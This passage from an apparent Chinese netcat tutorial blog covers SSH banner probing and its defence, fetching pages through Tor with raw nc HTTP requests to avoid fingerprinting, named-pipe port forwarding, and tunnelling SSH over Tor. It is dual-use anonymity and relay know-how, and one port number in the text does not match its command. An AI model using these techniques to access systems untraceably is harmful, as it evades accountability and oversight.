\u7aef\u53e3\uff0c\u7136\u540e\u628a\u627e\u5230\u7684\u670d\u52a1\u5668\u4fe1\u606f\u4fdd\u5b58\u5728\u67d0\u4e2a\u6587\u4ef6\u4e2d\u3002<br>\u3000\u3000\u53e6\u5916\uff0c<br>\u3000\u3000\u6709\u7684\u7cfb\u7edf\u7ba1\u7406\u5458\u4f1a\u628a sshd \u7684\u76d1\u542c\u7aef\u53e3\u4ece&nbsp;<code>22<\/code>&nbsp;\u6539\u4e3a\u5176\u5b83\u6570\u503c\uff0c\u60f3\u8981\u8ff7\u60d1\u653b\u51fb\u8005\u3002\u4f46\u8fd9\u4e48\u5e72\uff0c\u3010\u6548\u679c\u4e0d\u5927\u3011\u3002<br>\u3000\u3000\u653b\u51fb\u8005\u53ef\u4ee5\u5148\u8fdb\u884c\u7aef\u53e3\u626b\u63cf\uff0c\u62ff\u5230\u6240\u6709\u5df2\u5f00\u542f\u7684 TCP \u76d1\u542c\u7aef\u53e3\uff1b\u7136\u540e\u5229\u7528\u4e0a\u8ff0\u65b9\u6cd5\uff0c\u5bf9\u8fd9\u4e9b TCP \u7aef\u53e3\u8fdb\u884c\u3010\u81ea\u52a8\u5316\u3011\u63a2\u6d4b\uff0c\u4ece\u800c\u5224\u65ad\u51fa\u54ea\u4e2a\u7aef\u53e3\u662f SSH Server\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1a\u9632\u8303\u63aa\u65bd<\/h3>\n\n\n\n<p>\u3000\u3000\u672c\u7ae0\u8282\u4ee5\u201cSSH Server\u201d\u4e3e\u4f8b\u6765\u8bf4\u660e\u5165\u4fb5\u8005\u5982\u4f55\u63a2\u6d4b\u670d\u52a1\u7aef\u7684\u8f6f\u4ef6\u7248\u672c\u3002<br>\u3000\u3000\u9664\u4e86\u201cSSH Server\u201d\uff0c\u5f88\u591a\u5176\u5b83\u7684\u670d\u52a1\u7aef\u8f6f\u4ef6\uff0c\u4e5f\u5b58\u5728\u7c7b\u4f3c\u7684\u3010\u4fe1\u606f\u66b4\u9732\u3011\u3002<br>\u3000\u3000\u4e00\u4e2a\u8c28\u614e\u7684\u7cfb\u7edf\u7ba1\u7406\u5458\uff0c\u5e94\u8be5\u901a\u8fc7\u5b9a\u5236\uff0c\u3010\u6d88\u9664 or \u4f2a\u9020\u3011\u8fd9\u4e9b\u4fe1\u606f\uff0c\u4ece\u800c\u589e\u52a0\u5165\u4fb5\u8005\u7684\u653b\u51fb\u6210\u672c\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u2605\u62db\u65706\uff1a\uff08\u9690\u533f\u6027\uff09\u7528 nc \u5b9e\u73b0\u3010\u5f7b\u5e95\u65e0\u75d5\u3011\u7684 Web \u8bbf\u95ee<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u4f7f\u7528\u573a\u666f<\/h3>\n\n\n\n<p>\u3000\u3000\uff08\u672c\u7ae0\u8282\u9488\u5bf9\u90a3\u4e9b\u6709\u3010\u7279\u6b8a\u9700\u6c42\u3011\u7684\u5bb6\u4f19\u3002\u6280\u672f\u83dc\u9e1f\u53ef\u4ee5\u7565\u8fc7\uff09<br>\u3000\u3000\u6709\u65f6\u5019\uff0c\u4ffa\u60f3\u8981\u770b\u67d0\u4e2a Web \u670d\u52a1\u5668\u4e0a\u7684\u67d0\u4e2a\u9875\u9762\u7684\u5185\u5bb9\uff0c\u4f46\u662f\u53c8\u3010\u4e0d\u5e0c\u671b\u3011\u5728\u90a3\u4e0a\u9762\u7559\u4e0b\u4ffa\u672c\u4eba\u7684\u4efb\u4f55\u75d5\u8ff9\u3002\u8fd9\u91cc\u6240\u8bf4\u7684\u201c\u75d5\u8ff9\u201d\u65e2\u5305\u62ec\u3010\u7f51\u7edc\u3011\u5c42\u9762\u6ef4\uff0c\u4e5f\u5305\u62ec\u3010\u64cd\u4f5c\u7cfb\u7edf \uff06 \u8f6f\u4ef6\u3011\u5c42\u9762\u6ef4\u3002<br>\u3000\u3000\u8981\u641e\u5b9a\u3010\u7f51\u7edc\u3011\u5c42\u9762\uff0c\u5f88\u7b80\u5355\u2014\u2014\u4e3b\u8981\u9760\u3010\u6697\u7f51\u3011\uff08Tor or I2P\uff09\uff0c\u6765\u63a9\u76d6\u4f60\u7684\u3010\u771f\u5b9e\u3011\u201c\u516c\u7f51 IP\u201d\u3002\u5177\u4f53\u7684\u73a9\u6cd5\uff0c\u524d\u9762\u7ae0\u8282\u5df2\u7ecf\u804a\u8fc7\u5566\u3002<br>\u3000\u3000\u8981\u641e\u5b9a\u3010\u64cd\u4f5c\u7cfb\u7edf \uff06 \u8f6f\u4ef6\u3011\u5c42\u9762\uff0c\u7a0d\u5fae\u9ebb\u70e6\u4e00\u70b9\u3002\u5982\u679c\u4f60\u7528\u4f20\u7edf\u7684\u6d4f\u89c8\u5668\uff08Chrome\u3001Firefox\u3001IE\u3001Edge &#8230;\uff09\u8bbf\u95ee\u4e86\u67d0\u4e2a\u9875\u9762\u3002\u5373\u4f7f\u4f60\u7981\u7528\u4e86 JS\uff0c\u4f2a\u9020\u4e86\u6d4f\u89c8\u5668\u7684\u201cUser Agent\u201d\u3002\u4f46\u5982\u679c Web \u670d\u52a1\u5668\u60f3\u8981\u6536\u96c6\u4f60\u7684\u7cfb\u7edf\u6307\u7eb9\uff0c\u8fd8\u662f\u6709\u82e5\u5e72\u529e\u6cd5\u2014\u2014\u53ef\u4ee5\u901a\u8fc7\u6d4f\u89c8\u5668\u7684\u4e00\u4e9b\u5dee\u5f02\uff0c\u83b7\u5f97\u67d0\u4e9b\u4fe1\u606f\u91cf\uff08\u5b89\u5168\u884c\u8bdd\u53eb\u505a\u201c\u6d4f\u89c8\u5668\u6307\u7eb9\u201d\uff09\u3002<br>\u3000\u3000\u6bd4\u5982\u8bf4\uff1aHTTP \u534f\u8bae\u7684\u3010Header\u3011\u5b57\u6bb5\u53ef\u80fd\u4f1a\u5305\u542b\u67d0\u4e9b\u4fe1\u606f\u3002<br>\u3000\u3000\u6bd4\u5982\u8bf4\uff1a\u4e0d\u540c\u5185\u6838\u7684\u6d4f\u89c8\u5668\uff0c\u5bf9\u9875\u9762\u7684\u6e32\u67d3\u4f1a\u6709\u5dee\u5f02\u3002\u5bf9\u9875\u9762\u4e2d\u7684\u3010\u5916\u90e8\u3011\u5143\u7d20\uff08\u56fe\u7247\u3001JS\u3001CSS &#8230;\uff09\u7684\u52a0\u8f7d\u6548\u7387\u4e5f\u4f1a\u6709\u5dee\u5f02\u3002<br>\u3000\u3000\u6bd4\u5982\u8bf4\uff1a\u5373\u4f7f\u540c\u4e00\u6b3e\u6d4f\u89c8\u5668\uff0c\u5728\u4e0d\u540c\u7cfb\u7edf\u5e73\u53f0\u4e0a\uff0c\u4f9d\u7136\u4f1a\u8868\u73b0\u51fa\u67d0\u4e9b\u5dee\u5f02\u3002<\/p>\n\n\n\n<p>\u3000\u3000\u6b64\u65f6\uff0cnc \u518d\u5ea6\u6d3e\u4e0a\u7528\u573a\u2014\u2014\u4f60\u53ef\u4ee5\u7528 nc \u76f4\u63a5\u6293\u53d6\u9875\u9762\uff0c\u4fdd\u5b58\u5230\u672c\u673a\u3002<br>\u3000\u3000\u8fd9\u79cd\u73a9\u6cd5\u76f8\u5f53\u4e8e\u2014\u2014\u8ba9 nc \u5728\u3010\u88f8 TCP\u3011\u5c42\u9762\u6267\u884c HTTP \u534f\u8bae\u7684\u547d\u4ee4\u3002\u5728\u6574\u4e2a\u8fc7\u7a0b\u4e2d\uff0c\u6d4f\u89c8\u5668\u5b8c\u5168\u3010\u4e0d\u3011\u53c2\u4e0e\u5176\u4e2d\u3002\u65e2\u3010\u4e0d\u4f1a\u3011\u66b4\u9732\u6d4f\u89c8\u5668\u7684\u4fe1\u606f\uff0c\u4e5f\u3010\u4e0d\u4f1a\u3011\u66b4\u9732\u64cd\u4f5c\u7cfb\u7edf\u7684\u4fe1\u606f\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u65b9\u6cd5<\/h3>\n\n\n\n<p>\u3000\u3000\u5148\u6267\u884c\u4e0b\u5217\u4e24\u4e2a\u547d\u4ee4\u7684\u5176\u4e2d\u4e00\u4e2a\uff08\u5177\u4f53\u770b\u4f60\u60f3\u7528\u201cIP\u201d\u8fd8\u662f\u201c\u57df\u540d\u201d\uff09<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">echo -e \"GET \/ HTTP\/1.0\\r\\n\\r\\n\" | nc-tor -vq 5 \u670d\u52a1\u5668\u57df\u540d \u7aef\u53e3<br>echo -e \"GET \/ HTTP\/1.0\\r\\n\\r\\n\" | nc-tor -vq 5 -n \u670d\u52a1\u5668IP \u7aef\u53e3<\/pre>\n\n\n\n<p>\u3000\u3000\u7136\u540e nc \u5c31\u4f1a\u628a\u8fd9\u4e2a\u9875\u9762\u6293\u4e0b\u6765\uff0c\u6253\u5370\u5230\u547d\u4ee4\u884c\u7ec8\u7aef\u3002\u8fd9\u65f6\u5019\u4f60\u770b\u5230\u7684\u662f\u3010HTML \u6e90\u4ee3\u7801\u3011\u3002<\/p>\n\n\n\n<p>\u3000\u3000\u4e0a\u8ff0\u547d\u4ee4\u8bbf\u95ee\u7684\u662f Web Server \u7684\u3010\u6839\u8def\u5f84\u3011\u3002\u5982\u679c\u4f60\u60f3\u8981\u770b\u5176\u5b83\u8def\u5f84\u7684\u9875\u9762\uff08\u6bd4\u5982\u8bf4\uff1a<code>\/index.html<\/code>\uff09\uff0c\u7a0d\u5fae\u4fee\u6539\u6210\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">echo -e \"GET \/index.html HTTP\/1.0\\r\\n\\r\\n\" | nc-tor -vq 5 \u670d\u52a1\u5668\u57df\u540d \u7aef\u53e3<br>echo -e \"GET \/index.html HTTP\/1.0\\r\\n\\r\\n\" | nc-tor -vq 5 -n \u670d\u52a1\u5668IP \u7aef\u53e3<\/pre>\n\n\n\n<p>\u3000\u3000\u7531\u4e8e\u6b63\u5e38\u4eba\u7c7b\u662f\u65e0\u6cd5\u76f4\u63a5\u9605\u8bfb\u3010HTML \u6e90\u4ee3\u7801\u3011\u6ef4\u3002\u4e3a\u4e86\u66f4\u52a0\u4eba\u6027\u5316\uff0c\u4f60\u53ef\u4ee5\u628a nc \u6293\u4e0b\u6765\u7684 HTML \u6e90\u4ee3\u7801\uff0c\uff08\u5728\u547d\u4ee4\u884c\u4e2d\u7528\u201c\u5927\u4e8e\u53f7\u201d\uff09\u91cd\u5b9a\u5411\u5230\u67d0\u4e2a HTML \u6587\u4ef6\uff0c\u7136\u540e\u5c31\u53ef\u4ee5\u7528\u4f60\u672c\u673a\u7684\u6d4f\u89c8\u5668\u9605\u8bfb\u4e4b\u3002<\/p>\n\n\n\n<p>\u3000\u3000<strong><code>nc-tor<\/code>&nbsp;\u522b\u540d<\/strong><br>\u3000\u3000\uff08\u5173\u4e8e\u8fd9\u4e2a\u522b\u540d\uff0c\u5df2\u7ecf\u201c\u62db\u65704\u201d\u7ae0\u8282\u804a\u8fc7\u2014\u2014\u662f\u8ba9 nc \u8d70 Tor \u4ee3\u7406\uff09<\/p>\n\n\n\n<p>\u3000\u3000<strong>\u9009\u9879&nbsp;<code>-q<\/code><\/strong><br>\u3000\u3000\uff08\u5173\u4e8e\u8be5\u9009\u9879\u7684\u8bf4\u660e\uff0c\u53c2\u89c1\u201c\u62db\u65704\u201d\u7ae0\u8282\u7684\u3010\u5ef6\u65f6\u9000\u51fa\u3011\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1aHTTP \u534f\u8bae<\/h3>\n\n\n\n<p>\u3000\u3000<strong>\u534f\u8bae\u7248\u672c<\/strong><br>\u3000\u3000\u6709\u4e9b\u540c\u5b66\u4f1a\u5947\u602a\u2014\u2014\u4e3a\u5565\u4ffa\u4e0a\u8ff0\u7684\u793a\u4f8b\u7528\u7684\u662f 1.0 \u800c\u4e0d\u662f 1.1\uff1f<br>\u3000\u3000\u4e3b\u8981\u662f\u4e3a\u4e86\u5077\u61d2\u2014\u2014\u6309\u7167 RFC \u7684\u89c4\u8303\uff0cHTTP 1.1 \u7684 Request \u4e2d\uff0c<code>Host<\/code>&nbsp;\u662f\u3010\u5fc5\u987b\u3011\u7684\u5b57\u6bb5\uff1b\u800c\u5728 HTTP 1.0 \u4e2d\uff0c\u8fd9\u4e2a\u5b57\u6bb5\u662f\u3010\u53ef\u9009\u3011\u6ef4\u3002<\/p>\n\n\n\n<p>\u3000\u3000<strong>HTTPS<\/strong><br>\u3000\u3000nc \u7684\u201cOpenBSD \u53d8\u79cd\u201d\u8fd8\u3010\u4e0d\u3011\u652f\u6301 HTTPS\uff08SSL\/TLS\uff09\u3002<br>\u3000\u3000\u5728\u672c\u6587\u672b\u5c3e\u4ecb\u7ecd\u7684\u5176\u5b83\u53d8\u79cd\u91cc\u9762\uff0cncat \uff06 socat \u5df2\u7ecf\u5b8c\u5168\u652f\u6301 SSL\/TLS \u534f\u8bae\u3002<br>\u3000\u3000\u7531\u4e8e\u672c\u6587\u4e3b\u8981\u4ecb\u7ecd nc \u7684\u201cOpenBSD \u53d8\u79cd\u201d\uff0c\u5173\u4e8e ncat \uff06 socat \u7684\u8bdd\u9898\uff0c\u5c31\u4e0d\u5c55\u5f00\u5566\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1a\u8fd9\u79cd\u65b9\u5f0f\u7684\u3010\u7f3a\u70b9\u3011<\/h3>\n\n\n\n<p>\u3000\u3000<strong>\u5173\u4e8e\u201c\u9875\u9762\u7684\u3010\u5916\u90e8\u3011\u5143\u7d20\u201d<\/strong><br>\u3000\u3000\u7528\u8fd9\u62db\uff0cnc \u53ea\u6293\u53d6\u9875\u9762\u672c\u8eab\uff0c\u4e0d\u5305\u62ec\u9875\u9762\u4e2d\u7684\u5916\u90e8\u5143\u7d20\uff08\u56fe\u7247\u3001JS\u3001CSS &#8230;\uff09\u3002<br>\u3000\u3000\u8fd9\u79cd\u65b9\u5f0f\u62ff\u5230\u7684\u9875\u9762\uff0c\u9605\u8bfb\u7684\u65f6\u5019\u4f1a\u663e\u5f97\u6bd4\u8f83\u4e11\u964b\uff08\u4f60\u5c31\u51d1\u5408\u7740\u770b\u5427\uff09<\/p>\n\n\n\n<p>\u3000\u3000<strong>\u5173\u4e8e\u201cJS \u5f15\u64ce\u201d<\/strong><br>\u3000\u3000\u7531\u4e8e\u8fd9\u62db\u53ea\u662f\u5728 TCP \u5c42\u9762\u6a21\u62df\u4e86\u7b80\u5355\u7684 HTTP \u534f\u8bae\u3002\u6240\u4ee5\u53ea\u80fd\u5f97\u5230\u3010\u9759\u6001 HTML\u3011\u3002<br>\u3000\u3000\u5982\u679c\u67d0\u4e2a\u9875\u9762\u7684\u5185\u5bb9\u662f\u4f9d\u9760\u3010\u524d\u7aef JS\u3011\u52a8\u6001\u751f\u6210\uff08\u6240\u8c13\u7684 AJAX \u98ce\u683c\uff09\uff0c\u90a3\u8fd9\u62db\u5c31\u4e0d\u7075\u5566\uff08\u56e0\u4e3a nc\u3010\u6ca1\u6709\u3011JS \u5f15\u64ce\uff09\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u2605\u62db\u65707\uff1a\uff08\u7f51\u7edc\u914d\u7f6e\uff09\u57fa\u4e8e nc \u7684\u7aef\u53e3\u8f6c\u53d1\uff08Port Forward\uff09<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u4f7f\u7528\u573a\u666f<\/h3>\n\n\n\n<p><br>\u3000\u3000\u5173\u4e8e\u3010\u7aef\u53e3\u8f6c\u53d1\u3011\u7684\u76f8\u5173\u6982\u5ff5\uff0c\u6709\u5565\u7528\u5904\u548c\u597d\u5904\uff0c\u8fd9\u91cc\u5c31\u4e0d\u518d\u91cd\u590d\u5520\u53e8\u5566\u3002<br>\u3000\u3000\u4eca\u5929\u5c31\u804a\u4e00\u4e0b\u2014\u2014\u5982\u4f55\u7528 nc \u73a9\u201c\u7aef\u53e3\u8f6c\u53d1\u201d\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u539f\u7406<\/h3>\n\n\n\n<p>\u3000\u3000\u7528 nc \u8fdb\u884c\u7aef\u53e3\u8f6c\u53d1\uff0c\u9700\u8981\u8fd0\u884c\u3010\u4e24\u4e2a\u3011nc \u8fdb\u7a0b\uff0c\u4e00\u4e2a\u5145\u5f53\u201c\u670d\u52a1\u7aef\u201d\uff0c\u53e6\u4e00\u4e2a\u662f\u201c\u5ba2\u6237\u7aef\u201d\uff0c\u7136\u540e\u7528\u3010\u7ba1\u9053\u3011\u8ba9\u628a\u4e24\u4e2a\u8fdb\u7a0b\u7684\u201c\u6807\u51c6\u8f93\u5165\u8f93\u51fa\u201d\u4ea4\u53c9\u914d\u5bf9\u3002\u6240\u8c13\u7684\u201c\u4ea4\u53c9\u914d\u5bf9\u201d\u5c31\u662f\u2014\u2014\u6bcf\u4e00\u4e2a nc \u8fdb\u7a0b\u7684\u201c\u6807\u51c6\u8f93\u51fa\u201d\u90fd\u3010\u5bf9\u63a5\u3011\u5230\u53e6\u4e00\u4e2a nc \u8fdb\u7a0b\u7684\u201c\u6807\u51c6\u8f93\u5165\u201d\u3002\u5982\u6b64\u4e00\u6765\uff0c\u5c31\u53ef\u4ee5\u5b8c\u7f8e\u5730\u5efa\u7acb\u3010\u53cc\u5411\u901a\u8baf\u3011\u3002<br>\u3000\u3000\u73a9\u8fc7\u547d\u4ee4\u884c\u7684\u540c\u5b66\uff0c\u5e94\u8be5\u90fd\u77e5\u9053\uff1a\u5927\u90e8\u5206 shell \u90fd\u652f\u6301\u3010\u7ba1\u9053\u7b26\u3011\uff08\u5c31\u662f\u90a3\u4e2a\u7ad6\u7ebf\u7b26\u53f7&nbsp;<code>|<\/code>\uff09\uff0c\u53ef\u4ee5\u628a\u67d0\u4e2a\u8fdb\u7a0b\u7684\u6807\u51c6\u8f93\u51fa\uff0c\u91cd\u5b9a\u5411\u7ed9\u53e6\u4e00\u4e2a\u8fdb\u7a0b\u7684\u6807\u51c6\u8f93\u5165\u3002\u4f46\u662f shell \u7684\u201c\u7ba1\u9053\u7b26\u201d\u53ea\u80fd\u505a\u5230\u201c\u5355\u5411\u914d\u5bf9\u201d\uff0c\u3010\u65e0\u6cd5\u3011\u505a\u5230\u201c\u4ea4\u53c9\u914d\u5bf9\u201d\u3002\u6240\u4ee5\u8fd8\u9700\u8981\u518d\u501f\u52a9\u53e6\u4e00\u4e2a\u7ba1\u9053\u2014\u2014\u4e5f\u5c31\u662f\u201c\u547d\u540d\u7ba1\u9053\u201d\u3002<br>\u3000\u3000\u201c\u547d\u540d\u7ba1\u9053\u201d\u6d0b\u6587\u53eb\u505a\u201cnamed pipe\u201d\uff0c\u662f\u4e00\u79cd\u8fdb\u7a0b\u95f4\u901a\u8baf\uff08IPC\uff09\u7684\u673a\u5236\u3002\u987e\u540d\u601d\u4e49\uff0c\u201c\u547d\u540d\u7ba1\u9053\u201d\u5c31\u662f\u6709\u540d\u53f7\u6ef4\uff0c\u800c shell \u4e2d\u4f7f\u7528\u7684\u90a3\u4e2a\u3010\u7ba1\u9053\u7b26\u3011\uff0c\u5176\u672c\u8d28\u4e0a\u662f\u201c\u533f\u540d\u7ba1\u9053\u201d\uff08\u65e0\u540d\u7ba1\u9053\uff09\u3002<br>\u3000\u3000\u4e3b\u6d41\u7684\u64cd\u4f5c\u7cfb\u7edf\uff08Windows\u3001Linux\u3001UNIX\uff09\u90fd\u652f\u6301\u201c\u547d\u540d\u7ba1\u9053\u201d\u8fd9\u79cd\u673a\u5236\u3002\u7531\u4e8e\u4ffa\u672c\u4eba\u7684\u73af\u5883\u662f Linux\uff0c\u4e0b\u9762\u53ea\u4ee5 Linux \u4e3e\u4f8b\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u65b9\u6cd5<\/h3>\n\n\n\n<p>\u3000\u3000<strong>\u6b65\u9aa41\uff1a\u521b\u5efa\u547d\u540d\u7ba1\u9053<\/strong><br>\u3000\u3000\u7528\u4e0b\u9762\u8fd9\u4e2a\u7b80\u5355\u7684\u547d\u4ee4\u521b\u5efa\u4e00\u4e2a\u201c\u547d\u540d\u7ba1\u9053\u201d\uff0c\u5176\u540d\u79f0\u53eb\u505a&nbsp;<code>nc_pipe<\/code>\u3002\uff08\u4ffa\u7528\u8fd9\u4e2a\u540d\u79f0\u53ea\u662f\u4e3a\u4e86\u4e3e\u4f8b\uff0c\u4f60\u4e5f\u53ef\u4ee5\u7528\u522b\u7684\u540d\u79f0\uff09<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">mkfifo nc_pipe<\/pre>\n\n\n\n<p>\u3000\u3000<strong>\u6b65\u9aa42\uff1a\u540c\u65f6\u542f\u52a8\u4e24\u4e2a nc<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -l -p 1234 &lt; nc_pipe | nc 127.0.0.1 5678 &gt; nc_pipe<\/pre>\n\n\n\n<p>\u3000\u3000\u8fd0\u884c\u4e0a\u8ff0\u547d\u4ee4\u4e4b\u540e\uff0c\u5c31\u53ef\u4ee5\u628a\u672c\u673a\u7684&nbsp;<code>1235<\/code>&nbsp;\u7aef\u53e3\u91cd\u5b9a\u5411\u5230\u672c\u673a\u7684&nbsp;<code>5678<\/code>&nbsp;\u7aef\u53e3\u3002<\/p>\n\n\n\n<p>\u3000\u3000\u8fd9\u4e2a\u547d\u4ee4\u6709\u70b9\u590d\u6742\u3002\u6280\u672f\u83dc\u9e1f\u5982\u679c\u770b\u4e0d\u61c2\uff0c\u5c31\u7b97\u4e86\uff08\u6ca1\u5173\u7cfb\u6ef4\uff0c\u4e0d\u5f71\u54cd\u4f60\u770b\u540e\u7eed\u7684\u7ae0\u8282\uff09\u3002<br>\u3000\u3000\u5982\u679c\u4f60\u6bd4\u8f83\u559c\u6b22\u5228\u6839\u95ee\u5e95\uff0c\u4ffa\u7a0d\u5fae\u89e3\u91ca\u4e00\u4e0b\uff1a<br>\u3000\u3000\u4e0a\u8ff0\u547d\u4ee4\u884c\u4e2d\uff0c\u524d\u4e00\u4e2a nc \u5145\u5f53\u3010\u670d\u52a1\u7aef\u3011\uff0c\u540e\u4e00\u4e2a nc \u5145\u5f53\u3010\u5ba2\u6237\u7aef\u3011\u3002\u547d\u4ee4\u884c\u4e2d\u7684\u201c\u7ba1\u9053\u7b26\u201d\u4f7f\u5f97\u201c\u670d\u52a1\u7aef nc\u201d\u7684\u8f93\u51fa\u7ed1\u5b9a\u5230\u201c\u5ba2\u6237\u7aef nc\u201d\u7684\u8f93\u5165\u3002\u7136\u540e\u518d\u7528&nbsp;<code>nc_pipe<\/code>&nbsp;\u8fd9\u4e2a\u547d\u540d\u7ba1\u9053\u505a\u4e2d\u8f6c\uff0c\u4f7f\u5f97\u201c\u5ba2\u6237\u7aef nc\u201d\u7684\u8f93\u51fa\u7ed1\u5b9a\u5230\u201c\u670d\u52a1\u7aef nc\u201d\u7684\u8f93\u5165\u3002\u4ece\u800c\u5b8c\u6210\u4e86\u3010\u4ea4\u53c9\u914d\u5bf9\u3011\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1a\u5982\u4f55\u8ba9 nc \u7684\u76d1\u542c\u7aef\u53e3\u3010\u6301\u7eed\u5f00\u542f\u3011<\/h3>\n\n\n\n<p>\u3000\u3000\u53c2\u89c1\u201c\u62db\u65702\u201d\u7ae0\u8282\u4e2d\u7684\u201c\u8865\u5145\u8bf4\u660e\u201d\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u2605\u62db\u65708\uff1a\uff08\u7f51\u7edc\u914d\u7f6e\uff09\u57fa\u4e8e nc \u7684\u4ee3\u7406\u8f6c\u53d1\uff08Proxy Forward\uff09<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u4f7f\u7528\u573a\u666f<\/h3>\n\n\n\n<p>\u3000\u3000\u63d0\u9192\u4e00\u4e0b\uff1a<br>\u3000\u3000\u3010\u4e0d\u8981\u6df7\u6dc6\u3011\u672c\u7ae0\u8282\u4e0e\u201c\u62db\u65704\u201d\u3002<br>\u3000\u3000\u201c\u62db\u65704\u201d\u804a\u7684\u662f\u2014\u2014nc \u81ea\u5df1\u901a\u8fc7\u4ee3\u7406\u8fdb\u884c\u7f51\u7edc\u8bbf\u95ee\uff08nc over Tor\uff09\u3002<br>\u3000\u3000\u201c\u672c\u7ae0\u8282\u201d\u804a\u7684\u662f\u2014\u2014nc \u5e2e\u52a9\u5176\u5b83\u7f51\u7edc\u8f6f\u4ef6\u8d70\u4ee3\u7406\u8fdb\u884c\u7f51\u7edc\u8bbf\u95ee\uff08XX\u8f6f\u4ef6 over nc over Tor\uff09\u3002<\/p>\n\n\n\n<p>\u3000\u3000\u6bd4\u5982\u8bf4\uff0cSSH \u662f\u5f88\u5e38\u7528\u7684\u4e00\u4e2a\u5b89\u5168\u5de5\u5177\u2014\u2014\u7528\u6765\u8fdc\u7a0b\u64cd\u4f5c\u670d\u52a1\u5668\u3002<br>\u3000\u3000\u5728\u67d0\u4e9b\u7279\u6b8a\u573a\u5408\uff0c\u4ffa\u60f3\u8981\u901a\u8fc7 SSH \u767b\u5f55\u67d0\u4e2a\u670d\u52a1\u5668\uff0c\u4f46\u662f\u53c8\u3010\u4e0d\u5e0c\u671b\u3011\u670d\u52a1\u5668\u8bb0\u5f55\u4ffa\u672c\u4eba\u3010\u771f\u5b9e\u7684\u3011\u201c\u516c\u7f51 IP\u201d\uff08\u201c\u66b4\u9732\u3010\u771f\u5b9e\u7684\u3011\u516c\u7f51 IP\u201d\u7b49\u540c\u4e8e\u201c\u66b4\u9732\u771f\u5b9e\u8eab\u4efd\u201d\uff09<br>\u3000\u3000\u8bf4\u5230\u8fd9\u91cc\uff0c\u5f88\u591a\u8bfb\u8005\u80af\u5b9a\u731c\u5230\u4ffa\u8bf4\u5565\u2014\u2014\u8ba9 SSH \u8d70 Tor \u4ee3\u7406\uff08SSH over Tor\uff09\u3002<br>\u3000\u3000\u4f46\u53ef\u60dc\u7684\u662f\uff1a\uff08POSIX \u7cfb\u7edf\u4e2d\u5e38\u7528\u7684\uff09OpenSSH \u5ba2\u6237\u7aef\u3010\u4e0d\u652f\u6301\u3011SOCKS \u4ee3\u7406\uff0c\u800c Tor \u9ed8\u8ba4\u63d0\u4f9b\u7684\u662f SOCKS \u4ee3\u7406\u3002\u8fd9\u65f6\u5019\uff0cnetcat \u5c31\u6d3e\u4e0a\u7528\u573a\u5566\u2014\u2014\u7528 nc \u628a SSH \u7684\u6570\u636e\u6d41\u8f6c\u53d1\u5230 Tor \u7684 SOCKS \u4ee3\u7406\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u65b9\u6cd5<\/h3>\n\n\n\n<p>\u7528\u5982\u4e0b\u547d\u4ee4\u6d4b\u8bd5\u201cSSH through Tor SOCKS\u201d\u662f\u5426\u6210\u529f\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ssh -o \"ProxyCommand=nc -X 5 -x \u4ee3\u7406\u5730\u5740:\u7aef\u53e3\u53f7 %h %p\" -T ssh.github.com<\/pre>\n\n\n\n<p>\u6ce8\u610f1\uff1a<br>\u5047\u5982\u4f60\u7684 Tor \u5ba2\u6237\u7aef\u8fd0\u884c\u5728\u3010<strong>\u672c\u673a<\/strong>\u3011\uff0c\u90a3\u4e48\u4e0a\u8ff0\u547d\u4ee4\u4e2d\u7684\u201c\u4ee3\u7406\u5730\u5740\u201d\u5c31\u66ff\u6362\u4e3a&nbsp;<code>127.0.0.1<\/code><br>\u5426\u5219\u5c31\u66ff\u6362\u4e3a\uff1a\u8fd0\u884c Tor \u5ba2\u6237\u7aef\u7684\u4e3b\u673a\u7684 IP \u5730\u5740\u3002<br>\u6ce8\u610f2\uff1a<br>\u5982\u679c\u4f60\u7684 Tor \u5ba2\u6237\u7aef\u7528\u7684\u662f&nbsp;<strong>Tor Browser<\/strong>\uff0c\u201c\u7aef\u53e3\u53f7\u201d\u5fc5\u987b\u7528&nbsp;<code>9150<\/code><br>\u5982\u679c\u4f60\u7528\u7684\u662f Tor \u7684\u5176\u5b83\u8f6f\u4ef6\u5305\uff08\u6bd4\u5982\uff1aTor Expert Bundle\uff09\uff0c\u5219\u201c\u7aef\u53e3\u53f7\u201d\u4f7f\u7528&nbsp;<code>9050<\/code><\/p>\n\n\n\n<p>\u3000\u3000\u4e0a\u8ff0\u6d4b\u8bd5\u547d\u4ee4\u5982\u679c\u6700\u7ec8\u663e\u793a&nbsp;<q>Permession denied<\/q>&nbsp;\u5c31\u8bf4\u660e\u5df2\u7ecf\u901a\u8fc7 SOCKS \u4ee3\u7406\u8fde\u63a5\u5230 GitHub \u4e86\uff08\u4e5f\u5c31\u662f\u8bf4\uff0c\u4f60\u7684 SSH \u5df2\u7ecf\u80fd\u591f\u8d70 SOCKS 